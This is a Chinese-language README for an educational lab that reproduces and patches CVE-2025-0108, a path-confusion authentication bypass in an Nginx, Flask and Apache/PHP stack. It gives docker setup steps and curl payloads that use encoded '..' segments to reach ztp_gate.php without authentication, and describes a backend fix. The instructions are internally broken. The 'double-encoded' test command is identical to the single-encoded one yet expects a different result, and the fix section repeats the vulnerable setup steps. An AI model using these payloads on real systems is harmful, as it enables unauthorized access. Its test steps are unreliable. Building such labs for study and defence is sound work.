该仓库包含一个小型实验环境,用于复现和缓解CVE-2025-0108问题(Nginx与Apache之间的路径混淆/头走私)。
任务目的是演示在多层级栈(Nginx -> Flask后端 -> Apache/PHP)中,双重编码的请求如何绕过认证,并展示一种后端侧的缓解方案。
此环境仅供教育用途。
CVE-2025-0108/ — 易受攻击的实现(PoC)CVE-2025-0108_fix/ — 修补后的实现(后端验证解码后的路径)CVE-2025-0108模拟因各层级之间对路径解码不一致,导致双重编码路径可绕过认证的易受攻击配置。
从 CVE-2025-0108 目录执行:
cd CVE-2025-0108
docker compose up --build
在宿主机上运行以下 curl 命令:
测试1 — 双重编码(预期:HTTP 200)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
此请求使用了双重编码(%252e%252e == %2e%2e == ..),演示了易受攻击配置下的绕过行为。应返回 200 OK。
测试2 — 单次编码(预期:HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
测试3 — 原始路径包含 ..(预期:HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
停止环境:
docker compose down
后端在允许访问前对解码后的路径执行额外检查。这可以防止请求被双重编码时的认证绕过。
从 CVE-2025-0108 目录执行:
cd CVE-2025-0108
docker compose up --build
在宿主机上运行以下 curl 命令:
从 CVE-2025-0108_fix 目录执行:
cd CVE-2025-0108_fix
docker compose up --build
测试1 — 双重编码(预期:HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
修复后的后端检测到解码后的 .. 并返回 401 未授权。
测试2 — 单次编码(预期:HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/%2e%2e/php/ztp_gate.php/PAN_help/x.css"
测试3 — 原始路径包含 ..(预期:HTTP 401)
curl -i "http://127.0.0.1:8085/unauth/../php/ztp_gate.php/PAN_help/x.css"
停止环境:
docker compose down